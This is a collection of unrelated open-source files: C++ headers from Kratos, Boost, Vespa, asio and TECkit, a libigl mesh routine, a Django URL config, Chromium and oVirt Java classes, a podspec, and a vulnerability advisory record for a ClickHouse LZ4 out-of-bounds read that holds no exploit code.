rCurrentProcessInfo) override; ///@} ///@name Inquiry ///@{ int Check(const ProcessInfo &rCurrentProcessInfo) const override; ///@} ///@name Input and output ///@{ /// Turn back information as a string. std::string Info() const override; /// Print information about this object. void PrintInfo(std::ostream& rOStream) const override; ///@} ///@name Friends ///@{ ///@} protected: ///@name Protected static Member Variables ///@{ ///@} ///@name Protected member Variables ///@{ ///@} ///@name Protected Operators ///@{ ///@} ///@name Protected Operations ///@{ // Protected interface of FluidElement //////////////////////////////////// void AddTimeIntegratedSystem( TElementData& rData, MatrixType& rLHS, VectorType& rRHS) override; void AddTimeIntegratedLHS( TElementData& rData, MatrixType& rLHS) override; void AddTimeIntegratedRHS( TElementData& rData, VectorType& rRHS) override; void AddVelocitySystem( TElementData& rData, MatrixType& rLocalLHS, VectorType& rLocalRHS) override; void AddMassLHS( TElementData& rData, MatrixType& rMassMatrix) override; // This function integrates the traction over a cut. It is only required to implement embedded formulations void AddBoundaryTraction( TElementData& rData, const Vector& rUnitNormal, MatrixType& rLHS, VectorType& rRHS) override; // Implementation details of QSVMS //////////////////////////////////////// void AddMassStabilization( TElementData& rData, MatrixType& rMassMatrix); virtual void AddViscousTerm( const TElementData& rData, BoundedMatrix<double,LocalSize,LocalSize>& rLHS, VectorType& rRHS); /** * @brief EffectiveViscosity Evaluate the total kinematic viscosity at a given integration point. * This function is used to implement Smagorinsky type LES or non-Newtonian dynamics in derived classes. * @param rData TElementData instance with information about nodal values * @param ElemSize Characteristic length representing the element (for Smagorinsky, this is the filter width) * @return Kinematic viscosity at the integration point. */ KRATOS_DEPRECATED virtual double EffectiveViscosity( TElementData& rData, double ElementSize); virtual void CalculateTau( const TElementData& rData, const array_1d<double,3> &Velocity, double &TauOne, double &TauTwo) const; virtual void CalculateProjections(const ProcessInfo &rCurrentProcessInfo); virtual void MomentumProjTerm( const TElementData& rData, const array_1d<double,3>& rConvectionVelocity, array_1d<double,3>& rMomentumRHS) const; virtual void MassProjTerm( const TElementData& rData, double& rMassRHS) const; virtual void SubscaleVelocity( const TElementData& rData, array_1d<double,3>& rVelocitySubscale) const; virtual void SubscalePressure( const TElementData& rData, double &rPressureSubscale) const; virtual void AlgebraicMomentumResidual( const TElementData& rData, const array_1d<double,3> &rConvectionVelocity, array_1d<double,3>& rResidual) const; virtual void AlgebraicMassResidual( const TElementData& rData, double& rMomentumRes) const; virtual void OrthogonalMomentumResidual( const TElementData& rData, const array_1d<double,3> &rConvectionVelocity, array_1d<double,3>& rResidual) const; virtual void OrthogonalMassResidual( const TElementData& rData, double& rMassRes) const; ///@} ///@name Protected Access ///@{ ///@} ///@name Protected Inquiry ///@{ ///@} ///@name Protected LifeCycle ///@{ ///@} private: ///@name Static Member Variables ///@{ ///@} ///@name Member Variables ///@{ ///@} ///@name Serialization ///@{ friend class Serializer; void save(Serializer& rSerializer) const override; void load(Serializer& rSerializer) override; ///@} ///@name Private Operators ///@{ ///@} ///@name Private Operations ///@{ ///@} ///@name Private Access ///@{ ///@} ///@name Private Inquiry ///@{ ///@} ///@name Un accessible methods ///@{ /// Assignment operator. QSVMS& operator=(QSVMS const& rOther); /// Copy constructor. QSVMS(QSVMS const& rOther); ///@} }; // Class QSVMS ///@} ///@name Type Definitions ///@{ ///@} ///@name Input and output ///@{ /// input stream function template< class TElementData > inline std::istream& operator >>(std::istream& rIStream, QSVMS<TElementData>& rThis) { return rIStream; } /// output stream function template< class TElementData > inline std::ostream& operator <<(std::ostream& rOStream, const QSVMS<TElementData>& rThis) { rThis.PrintInfo(rOStream); rOStream << std::endl; rThis.PrintData(rOStream); return rOStream; } ///@} ///@} // Fluid Dynamics Application group } // namespace Kratos. #endif // KRATOS_QS_VMS_H
4,625
12,278
<reponame>189569400/ClickHouse # /* ************************************************************************** # * * # * (C) Copyright <NAME> 2011. # * Distributed under the Boost Software License, Version 1.0. (See # * accompanying file LICENSE_1_0.txt or copy at # * http://www.boost.org/LICENSE_1_0.txt) # * * # ************************************************************************** */ # # /* Revised by <NAME> (2011) */ # # /* See http://www.boost.org for most recent version. */ # # ifndef BOOST_PREPROCESSOR_LIST_TO_SEQ_HPP # define BOOST_PREPROCESSOR_LIST_TO_SEQ_HPP # # include <boost/preprocessor/list/for_each.hpp> # # /* BOOST_PP_LIST_TO_SEQ */ # # define BOOST_PP_LIST_TO_SEQ(list) \ BOOST_PP_LIST_FOR_EACH(BOOST_PP_LIST_TO_SEQ_MACRO, ~, list) \ /**/ # define BOOST_PP_LIST_TO_SEQ_MACRO(r, data, elem) (elem) # # /* BOOST_PP_LIST_TO_SEQ_R */ # # define BOOST_PP_LIST_TO_SEQ_R(r, list) \ BOOST_PP_LIST_FOR_EACH_R(r, BOOST_PP_LIST_TO_SEQ_MACRO, ~, list) \ /**/ # # endif /* BOOST_PREPROCESSOR_LIST_TO_SEQ_HPP */
604
4,054
// Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once #include "rankmanager.h" #include <vespa/searchsummary/docsummary/juniperproperties.h> #include <vespa/storage/visiting/visitor.h> #include <vespa/config/retriever/simpleconfigurer.h> #include <vespa/config/subscription/configuri.h> #include <vespa/vsm/vsm/vsm-adapter.h> #include <vespa/fastlib/text/normwordfolder.h> namespace streaming { class SearchEnvironment : public storage::VisitorEnvironment { private: class Env : public config::SimpleConfigurable { public: typedef std::shared_ptr<Env> SP; Env(const vespalib::string & muffens, const config::ConfigUri & configUri, Fast_NormalizeWordFolder & wf); ~Env() override; const vsm::VSMAdapter * getVSMAdapter() const { return _vsmAdapter.get(); } const RankManager * getRankManager() const { return _rankManager.get(); } void configure(const config::ConfigSnapshot & snapshot) override; static config::ConfigKeySet createKeySet(const vespalib::string & configId); private: const vespalib::string _configId; config::SimpleConfigurer _configurer; std::unique_ptr<vsm::VSMAdapter> _vsmAdapter; std::unique_ptr<RankManager> _rankManager; }; typedef vespalib::hash_map<vespalib::string, Env::SP> EnvMap; typedef std::unique_ptr<EnvMap> EnvMapUP; typedef std::vector<EnvMapUP> ThreadLocals; static __thread EnvMap * _localEnvMap; EnvMap _envMap; ThreadLocals _threadLocals; std::mutex _lock; Fast_NormalizeWordFolder _wordFolder; config::ConfigUri _configUri; Env & getEnv(const vespalib::string & searchcluster); public: SearchEnvironment(const config::ConfigUri & configUri); ~SearchEnvironment(); const vsm::VSMAdapter * getVSMAdapter(const vespalib::string & searchcluster) { return getEnv(searchcluster).getVSMAdapter(); } const RankManager * getRankManager(const vespalib::string & searchcluster) { return getEnv(searchcluster).getRankManager(); } }; }
845
1,125
// This file is part of libigl, a simple c++ geometry processing library. // // Copyright (C) 2020 <NAME> <<EMAIL>> // // This Source Code Form is subject to the terms of the Mozilla Public License // v. 2.0. If a copy of the MPL was not distributed with this file, You can // obtain one at http://mozilla.org/MPL/2.0/. #include "exploded_view.h" #include "barycenter.h" #include "volume.h" template < typename DerivedV, typename DerivedT, typename DerivedEV, typename DerivedEF, typename DerivedI, typename DerivedJ> IGL_INLINE void igl::exploded_view( const Eigen::MatrixBase<DerivedV> & V, const Eigen::MatrixBase<DerivedT> & T, const typename DerivedV::Scalar s, const typename DerivedV::Scalar t, Eigen::PlainObjectBase<DerivedEV> & EV, Eigen::PlainObjectBase<DerivedEF> & EF, Eigen::PlainObjectBase<DerivedI> & I, Eigen::PlainObjectBase<DerivedJ> & J) { assert(T.cols() == 4 && "T should be a tet mesh"); EV.resize(4*T.rows(),3); EF.resize(4*T.rows(),3); I.resize(EV.rows()); J.resize(EF.rows()); Eigen::MatrixXd BC; igl::barycenter(V,T,BC); Eigen::VectorXd vol; igl::volume(V,T,vol); const Eigen::RowVectorXd c = vol.transpose()*BC/vol.array().sum(); for(int i = 0;i<T.rows();i++) { // scale the barycenters outward const auto tbc = ((BC.row(i)-c)*t+c).eval(); for(int j = 0;j<4;j++) { // vector to barycenter const auto v = V.row(T(i,j))-BC.row(i); // scale vector and add to scaled barycenter EV.row(i*4+j) = v*s+tbc; I(i*4+j) = T(i,j); J(i*4+j) = i; if(j%2) { EF(i*4+j,0) = i*4+((j+3)%4); EF(i*4+j,1) = i*4+((j+2)%4); EF(i*4+j,2) = i*4+((j+1)%4); }else { EF(i*4+j,0) = i*4+((j+1)%4); EF(i*4+j,1) = i*4+((j+2)%4); EF(i*4+j,2) = i*4+((j+3)%4); } } } } #ifdef IGL_STATIC_LIBRARY // Explicit template instantiation // generated by autoexplicit.sh template void igl::exploded_view<Eigen::Matrix<double, -1, -1, 0, -1, -1>, Eigen::Matrix<int, -1, -1, 0, -1, -1>, Eigen::Matrix<double, -1, -1, 0, -1, -1>, Eigen::Matrix<int, -1, -1, 0, -1, -1>, Eigen::Matrix<int, -1, 1, 0, -1, 1>, Eigen::Matrix<int, -1, 1, 0, -1, 1> >(Eigen::MatrixBase<Eigen::Matrix<double, -1, -1, 0, -1, -1> > const&, Eigen::MatrixBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> > const&, Eigen::Matrix<double, -1, -1, 0, -1, -1>::Scalar, Eigen::Matrix<double, -1, -1, 0, -1, -1>::Scalar, Eigen::PlainObjectBase<Eigen::Matrix<double, -1, -1, 0, -1, -1> >&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> >&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, 1, 0, -1, 1> >&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, 1, 0, -1, 1> >&); #endif
1,308
372
<reponame>CreativeWurks/emailerpro from django.urls import path from . import views app_name = 'notifications' urlpatterns = [ path('', views.NotificationListView.as_view(), name='notifications'), path('<int:pk>/', views.NotificationDetailView.as_view(), name='notification_detail'), path('unread/', views.unread, name='unread'), path('mark-all-as-read/', views.mark_all_as_read, name='mark_all_as_read'), path('clear-all/', views.clear_all, name='clear_all'), ]
183
5,169
{ "name": "VLTFoundation", "version": "1.2.0", "authors": "Verizon", "summary": "Reusable Foundation component for iOS", "homepage": "https://location.verizon.com", "license": "Commercial", "platforms": { "ios": "12.0" }, "requires_arc": true, "swift_versions": "5.0", "module_name": "VLTFoundation", "source": { "http": "https://artifactory.location.verizon.com:443/artifactory/vz-ios/VLTFoundation/VLTFoundation-1.2.0.zip" }, "preserve_paths": "VLTFoundation.framework", "vendored_frameworks": "VLTFoundation.framework", "swift_version": "5.0" }
237
347
<filename>backend/manager/modules/common/src/main/java/org/ovirt/engine/core/common/queries/HostErratumQueryParameters.java package org.ovirt.engine.core.common.queries; import org.ovirt.engine.core.compat.Guid; public class HostErratumQueryParameters extends IdQueryParameters { private static final long serialVersionUID = 4505391636962995236L; private String erratumId; public HostErratumQueryParameters() { } public HostErratumQueryParameters(Guid id, String erratumId) { super(id); this.erratumId = erratumId; } public String getErratumId() { return erratumId; } }
235
1,208
<filename>Source/TLKitExtensions/TLNetwork/TLNetwork/Request/TLDownloadRequest/TLDownloadRequest.h // // TLDownloadRequest.h // TLChat // // Created by 李伯坤 on 2017/7/14. // Copyright © 2017年 李伯坤. All rights reserved. // #import "TLBaseRequest.h" @interface TLDownloadRequest : TLBaseRequest /// 下载缓存路径 @property (nonatomic, strong) NSString *downloadPath; /// 下载进度 @property (nonatomic, copy) TLRequestProgressBlock downloadProgressAction; @end
178
2,151
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.chrome.browser.download; import android.text.TextUtils; import org.chromium.base.Log; import org.chromium.base.VisibleForTesting; import org.chromium.components.offline_items_collection.ContentId; import org.chromium.components.offline_items_collection.LegacyHelpers; import java.util.UUID; /** * Class representing the download information stored in SharedPreferences to construct a * download notification. */ public class DownloadSharedPreferenceEntry { private static final String TAG = "DownloadEntry"; // Current version of the DownloadSharedPreferenceEntry. When changing the SharedPreference, // we need to change the version number too. @VisibleForTesting static final int VERSION = 6; public final int notificationId; public final boolean isOffTheRecord; // Whether the download is public (non incognito). public final boolean canDownloadWhileMetered; public final String fileName; // This can only be false for paused downloads. For downloads that are pending or in progress, // isAutoResumable should always be true. public final boolean isAutoResumable; public final ContentId id; public final boolean isTransient; static final DownloadSharedPreferenceEntry INVALID_ENTRY = new DownloadSharedPreferenceEntry(new ContentId(), -1, false, false, "", false, false); DownloadSharedPreferenceEntry(ContentId id, int notificationId, boolean isOffTheRecord, boolean canDownloadWhileMetered, String fileName, boolean isAutoResumable, boolean isTransient) { this.notificationId = notificationId; this.isOffTheRecord = isOffTheRecord; this.canDownloadWhileMetered = canDownloadWhileMetered; this.fileName = fileName; this.isAutoResumable = isAutoResumable; this.id = id != null ? id : new ContentId(); this.isTransient = isTransient; } /** * Parse the pending notification from a String object in SharedPrefs. * * @param sharedPrefString String from SharedPreference, containing the notification ID, GUID, * file name, whether it is resumable and whether download started on a metered network. * @return a DownloadSharedPreferenceEntry object. */ static DownloadSharedPreferenceEntry parseFromString(String sharedPrefString) { int version = -1; try { String versionString = sharedPrefString.substring(0, sharedPrefString.indexOf(",")); version = Integer.parseInt(versionString); } catch (NumberFormatException ex) { Log.w(TAG, "Exception while parsing pending download:" + sharedPrefString); return INVALID_ENTRY; } switch (version) { case 1: return parseFromVersion1(sharedPrefString); case 2: return parseFromVersion2(sharedPrefString); case 3: return parseFromVersion3(sharedPrefString); case 4: return parseFromVersion4(sharedPrefString); case 5: return parseFromVersion5(sharedPrefString); case 6: return parseFromVersion6(sharedPrefString); default: return INVALID_ENTRY; } } static DownloadSharedPreferenceEntry parseFromVersion1(String string) { String[] entries = string.split(",", 6); if (entries.length != 6) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,ONTHERECORD,METERED,GUID,FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringOnTheRecord = entries[2]; String stringMetered = entries[3]; String stringGuid = entries[4]; String stringFileName = entries[5]; boolean onTheRecord = "1".equals(stringOnTheRecord); boolean metered = "1".equals(stringMetered); int version; int notificationId; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 1) return INVALID_ENTRY; if (!isValidGUID(stringGuid)) return INVALID_ENTRY; return new DownloadSharedPreferenceEntry( LegacyHelpers.buildLegacyContentId(false, stringGuid), notificationId, !onTheRecord, metered, stringFileName, true, false); } static DownloadSharedPreferenceEntry parseFromVersion2(String string) { String[] entries = string.split(",", 6); if (entries.length != 6) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,OFFTHERECORD,METERED,GUID,FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringOffTheRecord = entries[2]; String stringMetered = entries[3]; String stringGuid = entries[4]; String stringFileName = entries[5]; boolean offTheRecord = "1".equals(stringOffTheRecord); boolean metered = "1".equals(stringMetered); int version; int notificationId; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 2) return INVALID_ENTRY; if (!isValidGUID(stringGuid)) return INVALID_ENTRY; return new DownloadSharedPreferenceEntry( LegacyHelpers.buildLegacyContentId(false, stringGuid), notificationId, offTheRecord, metered, stringFileName, true, false); } static DownloadSharedPreferenceEntry parseFromVersion3(String string) { final int itemTypeDownload = 1; final int itemTypeOfflinePage = 2; String[] entries = string.split(",", 7); if (entries.length != 7) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,ITEMTYPE,OFFTHERECORD,METERED,GUID,FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringItemType = entries[2]; String stringOffTheRecord = entries[3]; String stringMetered = entries[4]; String stringGuid = entries[5]; String stringFileName = entries[6]; boolean offTheRecord = "1".equals(stringOffTheRecord); boolean metered = "1".equals(stringMetered); int version; int notificationId; int itemType; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); itemType = Integer.parseInt(stringItemType); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 3) return INVALID_ENTRY; if (!isValidGUID(stringGuid)) return INVALID_ENTRY; if (itemType != itemTypeDownload && itemType != itemTypeOfflinePage) { return INVALID_ENTRY; } boolean isOfflinePage = itemType == itemTypeOfflinePage; return new DownloadSharedPreferenceEntry( LegacyHelpers.buildLegacyContentId(isOfflinePage, stringGuid), notificationId, offTheRecord, metered, stringFileName, true, false); } static DownloadSharedPreferenceEntry parseFromVersion4(String string) { final int itemTypeDownload = 1; final int itemTypeOfflinePage = 2; String[] entries = string.split(",", 8); if (entries.length != 8) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,TYPE,OFFTHERECORD,METEREDOK,AUTORESUMEOK,GUID,FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringItemType = entries[2]; String stringOffTheRecord = entries[3]; String stringMetered = entries[4]; String stringAutoResume = entries[5]; String stringGuid = entries[6]; String stringFileName = entries[7]; boolean offTheRecord = "1".equals(stringOffTheRecord); boolean metered = "1".equals(stringMetered); boolean autoResume = "1".equals(stringAutoResume); int version; int notificationId; int itemType; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); itemType = Integer.parseInt(stringItemType); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 4) return INVALID_ENTRY; if (!isValidGUID(stringGuid)) return INVALID_ENTRY; if (itemType != itemTypeDownload && itemType != itemTypeOfflinePage) { return INVALID_ENTRY; } boolean isOfflinePage = itemType == itemTypeOfflinePage; return new DownloadSharedPreferenceEntry( LegacyHelpers.buildLegacyContentId(isOfflinePage, stringGuid), notificationId, offTheRecord, metered, stringFileName, autoResume, false); } static DownloadSharedPreferenceEntry parseFromVersion5(String string) { String[] entries = string.split(",", 8); if (entries.length != 8) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,NAMESPACE,GUID,OFFTHERECORD,METEREDOK,AUTORESUMEOK,FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringNamespace = entries[2]; String stringGuid = entries[3]; String stringOffTheRecord = entries[4]; String stringMetered = entries[5]; String stringAutoResume = entries[6]; String stringFileName = entries[7]; boolean offTheRecord = "1".equals(stringOffTheRecord); boolean metered = "1".equals(stringMetered); boolean autoResume = "1".equals(stringAutoResume); int version; int notificationId; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 5) return INVALID_ENTRY; if (!isValidGUID(stringGuid)) return INVALID_ENTRY; if (TextUtils.isEmpty(stringNamespace)) return INVALID_ENTRY; return new DownloadSharedPreferenceEntry(new ContentId(stringNamespace, stringGuid), notificationId, offTheRecord, metered, stringFileName, autoResume, false); } static DownloadSharedPreferenceEntry parseFromVersion6(String string) { String[] entries = string.split(",", 9); if (entries.length != 9) return INVALID_ENTRY; // VERSION,NOTIFICATIONID,NAMESPACE,ID,OFFTHERECORD,METEREDOK,AUTORESUMEOK,ISTRANSIENT, // FILENAME String stringVersion = entries[0]; String stringNotificationId = entries[1]; String stringNamespace = entries[2]; String stringId = entries[3]; String stringOffTheRecord = entries[4]; String stringMetered = entries[5]; String stringAutoResume = entries[6]; String stringTransient = entries[7]; String stringFileName = entries[8]; boolean offTheRecord = "1".equals(stringOffTheRecord); boolean metered = "1".equals(stringMetered); boolean autoResume = "1".equals(stringAutoResume); boolean isTransient = "1".equals(stringTransient); int version; int notificationId; try { version = Integer.parseInt(stringVersion); notificationId = Integer.parseInt(stringNotificationId); } catch (NumberFormatException ex) { return INVALID_ENTRY; } if (version != 6) return INVALID_ENTRY; if (TextUtils.isEmpty(stringId)) return INVALID_ENTRY; if (TextUtils.isEmpty(stringNamespace)) return INVALID_ENTRY; return new DownloadSharedPreferenceEntry(new ContentId(stringNamespace, stringId), notificationId, offTheRecord, metered, stringFileName, autoResume, isTransient); } /** * @return a string for the DownloadSharedPreferenceEntry instance to be inserted into * SharedPrefs. */ String getSharedPreferenceString() { String serialized = ""; serialized += VERSION + ","; serialized += notificationId + ","; serialized += id.namespace + ","; serialized += id.id + ","; serialized += (isOffTheRecord ? "1" : "0") + ","; serialized += (canDownloadWhileMetered ? "1" : "0") + ","; serialized += (isAutoResumable ? "1" : "0") + ","; serialized += (isTransient ? "1" : "0") + ","; // Keep filename as the last serialized entry because a filename can have commas in it. serialized += fileName; return serialized; } /** * Check if a string is a valid GUID. GUID is RFC 4122 compliant, it should have format * xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx. * TODO(qinmin): move this to base/. * @return true if the string is a valid GUID, or false otherwise. */ static boolean isValidGUID(String guid) { if (guid == null) return false; try { // Java UUID class doesn't check the length of the string. Need to convert it back to // string so that we can validate the length of the original string. UUID uuid = UUID.fromString(guid); String uuidString = uuid.toString(); return guid.equalsIgnoreCase(uuidString); } catch (IllegalArgumentException e) { return false; } } /** * Build a download item from this object. */ DownloadItem buildDownloadItem() { DownloadInfo info = new DownloadInfo.Builder() .setDownloadGuid(id.id) .setIsOfflinePage(LegacyHelpers.isLegacyOfflinePage(id)) .setFileName(fileName) .setIsOffTheRecord(isOffTheRecord) .setBytesReceived(DownloadManagerService.UNKNOWN_BYTES_RECEIVED) .setContentId(id) .setIsTransient(isTransient) .build(); return new DownloadItem(false, info); } @Override public boolean equals(Object object) { if (!(object instanceof DownloadSharedPreferenceEntry)) { return false; } final DownloadSharedPreferenceEntry other = (DownloadSharedPreferenceEntry) object; return id.equals(other.id) && TextUtils.equals(fileName, other.fileName) && notificationId == other.notificationId && isOffTheRecord == other.isOffTheRecord && canDownloadWhileMetered == other.canDownloadWhileMetered && isAutoResumable == other.isAutoResumable && isTransient == other.isTransient; } @Override public int hashCode() { int hash = 31; hash = 37 * hash + (isOffTheRecord ? 1 : 0); hash = 37 * hash + (canDownloadWhileMetered ? 1 : 0); hash = 37 * hash + (isAutoResumable ? 1 : 0); hash = 37 * hash + notificationId; hash = 37 * hash + id.hashCode(); hash = 37 * hash + fileName.hashCode(); hash = 37 * hash + (isTransient ? 1 : 0); return hash; } }
6,448
302
/*------------------------------------------------------------------------ Copyright (C) 2002-2016 SIL International. All rights reserved. Distributable under the terms of either the Common Public License or the GNU Lesser General Public License, as specified in the LICENSING.txt file. File: TECkit_Common.h Responsibility: <NAME> Last reviewed: Not yet. Description: Public definitions used by TECkit engine and compiler -------------------------------------------------------------------------*/ /* Common types and defines for the engine and compiler History: 16-Sep-2006 jk updated version to 2.4 (adding new compiler APIs for Bob E) 23-May-2005 jk patch for 64-bit architectures (thanks to Ulrik P) 18-Mar-2005 jk updated minor version for 2.3 (engine unchanged, XML option in compiler) 23-Sep-2003 jk updated for version 2.1 - extended status values xx-xxx-2002 jk version 2.0 initial release */ #ifndef __TECkit_Common_H__ #define __TECkit_Common_H__ #include "core-foundation.h" #define kCurrentTECkitVersion 0x00020004 /* 16.16 version number */ #ifndef __MACTYPES__ #ifndef MAC_TYPES /* these are all predefined if using a Mac prefix */ typedef unsigned char UInt8; typedef unsigned short UInt16; typedef unsigned int UInt32; /* NB: assumes int is 4 bytes */ #ifndef ZCONF_H /* n.b. if also using zlib.h, it must precede TECkit headers */ typedef UInt8 Byte; #endif typedef Byte* BytePtr; typedef UInt16 UniChar; typedef char* Ptr; typedef Byte* TextPtr; #endif #endif /* all public functions return a status code */ typedef long TECkit_Status; /* possible TECkit_Status return values */ #define kStatus_NoError 0 /* this is usually the desired result! */ /* positive values are informational status values */ /* low byte is the basic status of the conversion process */ #define kStatusMask_Basic 0x000000FF #define kStatus_OutputBufferFull 1 /* ConvertBuffer or Flush: output buffer full, so not all input was processed */ #define kStatus_NeedMoreInput 2 /* ConvertBuffer: processed all input data, ready for next chunk */ /* only returned in version 2.1 or later, with DontUseReplacementChar option */ #define kStatus_UnmappedChar 3 /* ConvertBuffer or Flush: stopped at unmapped character */ /* additional warning status in 2.1, only returned if 2.1-specific options are used */ /* one byte of the status value is used for warning flags */ #define kStatusMask_Warning 0x0000FF00 #define kStatus_UsedReplacement 0x00000100 /* ConvertBuffer or Flush: used default replacement character during mapping */ /* negative values are errors */ #define kStatus_InvalidForm -1 /* inForm or outForm parameter doesn't match mapping (bytes/Unicode mismatch) */ #define kStatus_ConverterBusy -2 /* can't initiate a conversion, as the converter is already in the midst of an operation */ #define kStatus_InvalidConverter -3 /* converter object is corrupted (or not really a TECkit_Converter at all) */ #define kStatus_InvalidMapping -4 /* compiled mapping data is not recognizable */ #define kStatus_BadMappingVersion -5 /* compiled mapping is not a version we can handle */ #define kStatus_Exception -6 /* an internal error has occurred */ #define kStatus_NameNotFound -7 /* couldn't find the requested name in the compiled mapping */ #define kStatus_IncompleteChar -8 /* bad input data (lone surrogate, incomplete UTF8 sequence) */ #define kStatus_CompilationFailed -9 /* mapping compilation failed (syntax errors, etc) */ #define kStatus_OutOfMemory -10 /* unable to allocate required memory */ /* encoding form constants for TECkit_CreateConverter and TECkit_Compile */ #define kForm_EncodingFormMask 0x000F #define kForm_Unspecified 0 /* invalid as argument to TECkit_CreateConverter */ #define kForm_Bytes 1 #define kForm_UTF8 2 #define kForm_UTF16BE 3 #define kForm_UTF16LE 4 #define kForm_UTF32BE 5 #define kForm_UTF32LE 6 #endif
1,243
892
<reponame>westonsteimel/advisory-database-github<gh_stars>100-1000 { "schema_version": "1.2.0", "id": "GHSA-cf9g-639p-3wvv", "modified": "2022-03-23T00:00:46Z", "published": "2022-03-16T00:00:50Z", "aliases": [ "CVE-2021-42387" ], "details": "Heap out-of-bounds read in Clickhouse's LZ4 compression codec when parsing a malicious query. As part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value ('offset') is read from the compressed data. The offset is later used in the length of a copy operation, without checking the upper bounds of the source of the copy operation.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H" } ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42387" }, { "type": "WEB", "url": "https://jfrog.com/blog/7-rce-and-dos-vulnerabilities-found-in-clickhouse-dbms" } ], "database_specific": { "cwe_ids": [ "CWE-125" ], "severity": "HIGH", "github_reviewed": false } }
507
5,422
// // detail/conditionally_enabled_mutex.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2021 <NAME> (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef ASIO_DETAIL_CONDITIONALLY_ENABLED_MUTEX_HPP #define ASIO_DETAIL_CONDITIONALLY_ENABLED_MUTEX_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include "asio/detail/config.hpp" #include "asio/detail/mutex.hpp" #include "asio/detail/noncopyable.hpp" #include "asio/detail/scoped_lock.hpp" #include "asio/detail/push_options.hpp" namespace asio { namespace detail { // Mutex adapter used to conditionally enable or disable locking. class conditionally_enabled_mutex : private noncopyable { public: // Helper class to lock and unlock a mutex automatically. class scoped_lock : private noncopyable { public: // Tag type used to distinguish constructors. enum adopt_lock_t { adopt_lock }; // Constructor adopts a lock that is already held. scoped_lock(conditionally_enabled_mutex& m, adopt_lock_t) : mutex_(m), locked_(m.enabled_) { } // Constructor acquires the lock. explicit scoped_lock(conditionally_enabled_mutex& m) : mutex_(m) { if (m.enabled_) { mutex_.mutex_.lock(); locked_ = true; } else locked_ = false; } // Destructor releases the lock. ~scoped_lock() { if (locked_) mutex_.mutex_.unlock(); } // Explicitly acquire the lock. void lock() { if (mutex_.enabled_ && !locked_) { mutex_.mutex_.lock(); locked_ = true; } } // Explicitly release the lock. void unlock() { if (locked_) { mutex_.unlock(); locked_ = false; } } // Test whether the lock is held. bool locked() const { return locked_; } // Get the underlying mutex. asio::detail::mutex& mutex() { return mutex_.mutex_; } private: friend class conditionally_enabled_event; conditionally_enabled_mutex& mutex_; bool locked_; }; // Constructor. explicit conditionally_enabled_mutex(bool enabled) : enabled_(enabled) { } // Destructor. ~conditionally_enabled_mutex() { } // Determine whether locking is enabled. bool enabled() const { return enabled_; } // Lock the mutex. void lock() { if (enabled_) mutex_.lock(); } // Unlock the mutex. void unlock() { if (enabled_) mutex_.unlock(); } private: friend class scoped_lock; friend class conditionally_enabled_event; asio::detail::mutex mutex_; const bool enabled_; }; } // namespace detail } // namespace asio #include "asio/detail/pop_options.hpp" #endif // ASIO_DETAIL_CONDITIONALLY_ENABLED_MUTEX_HPP
1,229
5,169
<reponame>Gantios/Specs { "name": "MVVMBuildItDay", "version": "0.1.9", "summary": "MVVM based on Android Architecture Components", "description": "Makes MVVM usage easy! Based on the Android Architecture Components.", "homepage": "https://github.com/jacobminer/ios-viewmodels/", "license": { "type": "APACHE", "file": "LICENSE" }, "authors": { "<NAME>": "<EMAIL>" }, "source": { "git": "https://github.com/jacobminer/ios-viewmodels.git", "tag": "0.1.9" }, "platforms": { "ios": "10.0" }, "source_files": "viewmodels/MVVM/*.swift", "swift_version": "4.2" }
258
353
<reponame>muyiluop/nutzmore<filename>nutz-integration-activiti/src/main/java/org/nutz/integration/activiti/NutzJdbcTransaction.java<gh_stars>100-1000 package org.nutz.integration.activiti; public class NutzJdbcTransaction { }
87
1,085
